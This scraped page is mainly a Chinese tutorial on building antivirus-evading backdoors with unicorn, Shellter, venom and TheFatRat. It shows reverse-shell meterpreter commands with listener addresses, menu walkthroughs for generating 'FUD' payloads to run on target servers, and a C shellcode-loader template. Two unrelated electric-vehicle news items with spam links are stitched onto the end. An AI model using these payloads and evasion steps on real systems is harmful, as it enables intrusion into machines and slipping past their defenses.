HTA Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta
HTA SettingContent-ms Metasploit: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms
HTA Example CS: python unicorn.py <cobalt_strike_file.cs> cs hta
HTA Example SettingContent-ms: python unicorn.py <cobalt_strike_file.cs cs ms
HTA Example SettingContent-ms: python unicorn.py <patth_to_shellcode.txt>: shellcode ms
DDE Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde
CRT Example: python unicorn.py <path_to_payload/exe_encode> crt
Custom PS1 Example: python unicorn.py <path to ps1 file>
Custom PS1 Example: python unicorn.py <path to ps1 file> macro 500
Cobalt Strike Example: python unicorn.py <cobalt_strike_file.cs> cs (export CS in C# format)
Custom Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode (formatted 0x00 or metasploit)
Custom Shellcode HTA: python unicorn.py <path_to_shellcode.txt> shellcode hta (formatted 0x00 or metasploit)
Custom Shellcode Macro: python unicorn.py <path_to_shellcode.txt> shellcode macro (formatted 0x00 or metasploit)
Generate .SettingContent-ms: python unicorn.py ms
這裏生產powershell的腳本
python unicorn.py windows/meterpreter/reverse_tcp 192.168.2.1 4444
運行powershell的腳本即可
shellter使用的是PE文件注入的方式,測試kali和windows的版本,感覺windows的還要方便穩定一點
windows版本下載地址
以windows為例下載后直接運行shellter.exe
主要一開始有2個模式,一個Auto一個manual
Auto的選項要少很多,更加的方便,manual選項很多,可以自定義調用的混淆模塊等參數
Choose Operation Mode - Auto/Manual (A/M/H): A
Perform Online Version Check? (Y/N/H): N
#此處輸入注入的PE文件,這裏注入D盾
PE Target: \\vmware-host\Shared Folders\Mac 上的 mi0\script\kali\D_Safe_Manage.exe
......(等待)
#選擇是否開啟隱藏模式
Enable Stealth Mode? (Y/N/H): N
#選擇回連payload的方式
************
* Payloads *
************
[1] Meterpreter_Reverse_TCP [stager]
[2] Meterpreter_Reverse_HTTP [stager]
[3] Meterpreter_Reverse_HTTPS [stager]
[4] Meterpreter_Bind_TCP [stager]
[5] Shell_Reverse_TCP [stager]
[6] Shell_Bind_TCP [stager]
[7] WinExec
#選擇輸入listed payload輸入
Use a listed payload or custom? (L/C/H): L
#輸入payload的編號
Select payload by index: 1
***************************
* meterpreter_reverse_tcp *
***************************
#設置監聽地址和端口
SET LHOST: 192.168.2.1
SET LPORT: 4444
.....(等待生成成功即可)
目標服務器上運行程序即可反彈shell(我這裏用msf的模塊監聽即可收到shell)
項目地址
https://github.com/r00t-3xp10it/venom
安裝起來步驟比較繁瑣,主要是依賴問題
進入到目標文件夾
sudo aux/setup.sh
會幫你安裝所有需要的依賴,之後運行
sudo ./venom.sh
選擇目標的模塊
__ _ ______ ____ _ _____ ____ __
\ \ //| ___|| \ | |/ \| \ / |
\ \// | ___|| \| || || \/ |
\__/ |______||__/\____|\_____/|__/\__/|__|1.0.16
USER:kali ENV:vm INTERFACE:eth0 ARCH:x64 DISTRO:Kali
╔─────────────────────────────────────────────────────────────╗
║ 1 - Unix based payloads ║
║ 2 - Windows-OS payloads ║
║ 3 - Multi-OS payloads ║
║ 4 - Android|IOS payloads ║
║ 5 - Webserver payloads ║
║ 6 - Microsoft office payloads ║
║ 7 - System built-in shells ║
║ 8 - Amsi Evasion Payloads ║
║ ║
║ E - Exit Shellcode Generator ║
╚─────────────────────────────────────────────────────────────╣
SSARedTeam@2019_|
[] Shellcode Generator
[] Chose Categorie number: 2
之後會彈出適應該模塊的免殺方式以及生成文件格式,輸入對應的編號即可
之後分別會彈出接收shell的host輸入框,接收shell的port輸入框,反彈shell的payload選擇框(都是msf的),輸入生成文件的名字
後面2個參數都選deafult默認即可
參數輸完之後,去vemon項目下的output中取生成的shell發送到目標服務器上運行即可
注:windows 1的dll文件shell能夠繞過windows 10自帶病毒檢測(這就很nice)
運行dll可以使用以下命令
rundll32.exe test.dll,main
項目地址
https://github.com/Screetsec/TheFatRat
安裝步驟很簡單
chmod +x setup.sh && ./setup.sh
更新(更新后還要重新setup.sh一下)
./update && chmod +x setup.sh && ./setup.sh
再檢查下組件是否正常
chmod +x chk_tools
./chk_tools
注意下即使組件正常也要安裝names的python依賴,之後調用模塊的時候會用到
pip install names
踩坑:我的環境是kali20.2,這個版本的kali使用的kali用戶而不是root用戶,用sudo pip安裝了后,啟動fatrat還是說找不到names模塊,這時候需要sudo su切換到root用戶進行names的安裝
在安裝時會發現它還需要BDF這個免殺作為依賴
在確定所有組件安裝完畢后運行
sudo ./fatrat
稍等片刻進入界面
2 ____
| |
|____|
_|____|_ _____ _ _____ _ _____ _
/ ee\_ |_ _| |_ ___| __|___| |_| __ |___| |_
.< __O | | | | -_| __| .'| _| -| .'| _|
/\ \.-.' \ |_| |_|_|___|__| |___|_| |__|__|___|_|
J \.|'.\/ \
| |_.|. | | | [--] Backdoor Creator for Remote Acces [--]
\__.' .|-' / [--] Created by: Edo Maland (Screetsec) [--]
L /|o'--'\ [--] Version: 1.9.7 [--]
| /\/\/\ \ [--] Codename: Whistle [--]
J / \.__\ [--] Follow me on Github: @Screetsec [--]
J / \.__\ [--] Dracos Linux : @dracos-linux.org [--]
|/ / [--] [--]
\ .'\. [--] SELECT AN OPTION TO BEGIN: [--]
____)_/\_(___\. [--] .___________________________________[--]
(___._/ \_.___)'\_.-----------------------------------------/
[01] Create Backdoor with msfvenom
[02] Create Fud 100% Backdoor with Fudwin 1.0
[03] Create Fud Backdoor with Avoid v1.2
[04] Create Fud Backdoor with backdoor-factory
[05] Backdooring Original apk [Instagram, Line,etc]
[06] Create Fud Backdoor 1000% with PwnWinds [Excelent]
[07] Create Backdoor For Office with Microsploit
[08] Trojan Debian Package For Remote Acces [Trodebi]
[09] Load/Create auto listeners
[10] Jump to msfconsole
[11] Searchsploit
[12] File Pumper [Increase Your Files Size]
[13] Configure Default Lhost & Lport
[14] Cleanup
[15] Help
[16] Credits
[17] Exit
┌─[TheFatRat]──[~]─[menu]:
└─────►2
這裏官方推薦02和06模塊,這裏使用02的模塊中的udp加殼
_______ ___ ___ ______ ___ ___ ___ ______
| _ | Y | _ \ | Y | | _ \
|. 1___|. | |. | \|. | |. |. | |
|. __) |. | |. | |. / \ |. |. | |
|: | |: 1 |: 1 |: |: |: | |
|::.| |::.. . |::.. . /|::.|:. |::.|::.| |
--- ------- ------ --- --- --- --- --- 1.0
Select one tool to create your Windows EXE FUD Rat
[ 1 ] - Powerstager 0.2.5 by z0noxz (powershell) (NEW)
[ 2 ] - Slow But Powerfull (OLD)
[ 3 ] - Return to menu
┌─[TheFatRat]──[~]─[FUDWIN]:
└─────► 2
會出現填寫lhost和lport的提示框
之後會等很長一段時間,生成exe文件,上傳到目標服務器運行即可
監聽使用msf的windows/meterpreter/reverse_tcp)即可
該免殺工具也能過win10的自帶防火牆
免殺思路:通過cs和msf生成後門文件,對生成的後門進行代碼處理達到免殺
在編寫c代碼的時候可以加上該語句,則不會觸發黑窗
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
編譯環境是VS 2019
在運行前將編譯器的棧緩衝區安全檢查(/Gs) 、數據執行保護(DEP)以及代碼優化關閉關閉
關閉位置:
代碼優化:C/C++ –> 優化
棧緩衝區安全檢查(/Gs):C/C++ –> 代碼生成 –> 安全檢查
數據執行保護(DEP):連接器 –> 高級 –> 數據執行保護
我們可以使用下面的模板生成shellcode,將msf或者cs的shellcode放入到buf數組變量中即可。
在運行前可以對buf中的字符進行處理達到免殺(之後會學習記錄下如何手寫shellcode)
#include <windows.h>
#include <iostream>
#include <time.h>
#pragma comment (lib, "winmm.lib")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
void startShellCode()
{
unsigned char buf[] = "";
void* exec = VirtualAlloc(0, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buf, sizeof(buf));
((void(*)())exec)();
}
void main() {
startShellCode();
}
本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理
【其他文章推薦】
※超省錢租車方案
※別再煩惱如何寫文案,掌握八大原則!
※回頭車貨運收費標準
※教你寫出一流的銷售文案?
※FB行銷專家,教你從零開始的技巧
![]() |
台灣的電動機車品牌Gogoro已經能從台北一路騎到高雄,還將進軍歐洲市場。而台灣首款本地生產的電動汽車也正式領取生產執照,將由在地廠商必翔集團負責產銷。
必翔集團在台成立三十餘年,早期曾投入農業機械研發,近期則以電動代步車、醫療用車等車款代工為主要業務。看好全球電動車市場蓬勃,必翔於2011年正式成立必翔電動汽車公司,並獲得中國廠商比亞迪(BYD)的肯定,合作發展電動汽車技術。
必翔在宜蘭縣建有電動汽車組裝廠,客戶行銷歐洲。日前,必翔已成功取得台灣首張電動汽車生產執照,預計將在今年第三季前量產問世。
除電動汽車公司外,必翔集團旗下另一子公司必翔電能為磷酸鋰鐵電池廠,廠房位於新竹,每月可生產100萬顆18650鋰鐵電池,集團整體可形成電動車產業的垂直整合。為提供日漸提升的電動車用電池需求,新竹廠房將陸續擴產到目前規模的10倍;公司也已申請掛牌上市,正在等待審核。
必翔集團也積極投入再生能源發展。必翔電動汽車的,由台灣永鑫能源負責開發、雲豹能源科技出資,完全採用美商First Solar的太陽能板,是First Solar在亞洲規模最大的屋頂型太陽能發電廠。
(照片:必翔公司廠房。來源:)
本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理
【其他文章推薦】
※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!
※網頁設計公司推薦不同的風格,搶佔消費者視覺第一線
※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整
※南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!
※教你寫出一流的銷售文案?
※超省錢租車方案
![]() |
美國電動車大廠 Tesla 傳出將在 3 月 20 日開始試產 Model 3,貿聯-KY為特斯拉電池線束的主力供應廠,可望受惠,今年營運展望佳。13 日股價上漲 3.5%,上漲 6 元,股價收在 177.5 元。
市場傳言,貿聯-KY供應 Model 3的電池管理線束已陸續開始交貨,新產品出貨的時程從 2 月就開始,目前是樣品階段,根據 Tesla 給貿聯-KY的預估量,是呈現逐季上揚,因此,貿聯-KY的業績在 2017 年是樂觀的一年,呈現逐季上揚。
貿聯-KY今年營收成長動能主要延續資訊產品業績成長,另外,年底則隨著電動車客戶平價車種投產挹注產品線;資訊用線主要在 Type C 市場應用起飛,帶動周邊擴充基座需求同步放大。
貿聯-KY元月營收 6.6 億元,月減 25.2%,年減 5.39%。公司表示,上月資訊用線擴充基座需求成長,另外,車用線整體訂單平穩,但受到季節性淡季以及工作天數減少影響,導致營收較上月衰退。
國泰證券金融商品部建議,看好貿聯-KY等個股,在行情震盪時,可以權證代替股票,布局相關認購權證。可留意如貿聯國泰65購01、貿聯永豐66購01、貿聯國泰67購01等權證。這 3 檔皆在價外 15% 以內,且距離到期日仍有三個月以上。
(本文內容由授權使用。圖片出處:Tesla)
本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理
【其他文章推薦】
※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!
※網頁設計公司推薦不同的風格,搶佔消費者視覺第一線
※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整
※南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!
※教你寫出一流的銷售文案?
※超省錢租車方案